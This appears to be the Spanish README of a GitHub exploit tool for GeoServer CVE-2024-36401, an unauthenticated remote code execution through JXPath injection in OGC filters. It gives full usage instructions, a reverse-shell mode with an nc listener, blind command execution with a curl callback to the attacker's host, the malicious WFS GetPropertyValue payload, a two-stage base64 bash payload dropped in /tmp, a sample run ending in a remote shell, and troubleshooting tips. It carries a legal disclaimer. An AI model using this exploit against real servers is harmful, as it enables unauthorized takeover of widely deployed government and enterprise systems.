
Exploit de RCE no autenticado para GeoServer (CVE-2024-36401) mediante inyección XPath en filtros OGC. Admite shell inversa y ejecución de comandos a ciegas con detección automática de versiones y sondeo de tipos de entidad.
Exploit de ejecución remota de código sin autenticación para GeoServer mediante
inyección del parámetro valueReference de filtro OGC (evaluación XPath/JXPath).
Aviso legal: Esta herramienta está diseñada únicamente para pruebas de penetración autorizadas e investigación de seguridad. No la utilices contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito por escrito. El autor no asume ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.
GeoServer es un servidor Java de código abierto para compartir datos geoespaciales, ampliamente implementado en entornos gubernamentales, empresariales y de investigación. CVE-2024-36401 permite que un atacante no autenticado ejecute comandos arbitrarios del sistema operativo en el host mediante la inyección de expresiones Java en los parámetros de filtro OGC (Open Geospatial Consortium).
La vulnerabilidad fue añadida al catálogo CISA Known Exploited Vulnerabilities (KEV) en julio de 2024 debido a su explotación activa en entornos reales.
| Rama | Rango vulnerable | Corregido en |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
Las versiones de GeoServer anteriores a 2.23.0 también son probablemente vulnerables, pero están al final de su ciclo de vida y no han sido probadas.
GeoServer utiliza la librería GeoTools para evaluar expresiones de filtro OGC.
El parámetro valueReference (y otros como CQL_FILTER) se pasa a
JXPathContext.selectNodes() de Apache Commons JXPath sin sanitización.
JXPath permite invocar métodos Java arbitrarios mediante expresiones como:
exec(java.lang.Runtime.getRuntime(), 'id')
Esta evaluación ocurre antes de que se compruebe la autenticación en ciertos endpoints, lo que hace que la vulnerabilidad sea completamente no autenticada.
Endpoints vulnerables:
POST /geoserver/wfs — solicitud GetPropertyValue con valueReferenceGET /geoserver/ows — mismo parámetro mediante la cadena de consultaNota técnica clave: La expresión valueReference debe usar comillas
simples (') alrededor de la cadena del comando. Las comillas dobles (")
provocan fallos en el análisis XML e impiden la ejecución: un error común en
otros PoC públicos.
requestssf, topp, tiger son suficientes)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
O instala las dependencias directamente:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| Modo | Banderas | Descripción |
|---|---|---|
| Reverse shell | -l LHOST -p LPORT | Reverse shell en dos fases mediante bash |
| Ejecución de comandos | -c CMD | Ejecuta un solo comando (a ciegas — sin salida) |
| Especificar tipo de entidad | -f FEATURE | Omite la detección automática y usa el tipo indicado |
Inicia primero un listener:
nc -lvnp 4444
Después ejecuta el exploit:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
Salida esperada:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
En el listener:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Ejecuta un comando sin recibir salida. Útil para verificación fuera de banda o para dejar archivos:
# Verifica la ejecución mediante la creación de un archivo
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Activa un callback con curl para confirmar la ejecución
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Nota: Los comandos que contienen metacaracteres de shell (
>,|,&,;) se codifican automáticamente en base64 para evitar problemas de análisis.
Si la detección automática falla, proporciona un tipo de entidad conocido del objetivo:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Tipos de entidad comunes incluidos con los datos de ejemplo de GeoServer:
| Espacio de trabajo | Tipo de entidad |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
El exploit envía una solicitud WFS GetPropertyValue con una expresión
valueReference maliciosa:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
Para el reverse shell se utiliza un enfoque en dos fases para evitar
problemas con metacaracteres de shell dentro del argumento de cadena única
de exec():
Fase 1 — Escribe el reverse shell en /tmp/rs.sh usando codificación base64
y expansión de llaves de shell (sin espacios en la cadena de exec):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
Fase 2 — Ejecuta el script:
bash /tmp/rs.sh
Este enfoque evita la necesidad de un intérprete de shell en la primera llamada
a exec(), lo que lo hace fiable en distintas configuraciones de sistema.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered pero no se recibe shell
LHOST:LPORT") alrededor del comando — esto no funciona.
Asegúrate de usar comillas simples (') dentro de la expresión valueReference.[!] Version X.X.X may be patched — attempting anyway
Este proyecto está licenciado bajo la Licencia MIT. Consulta LICENSE para más detalles.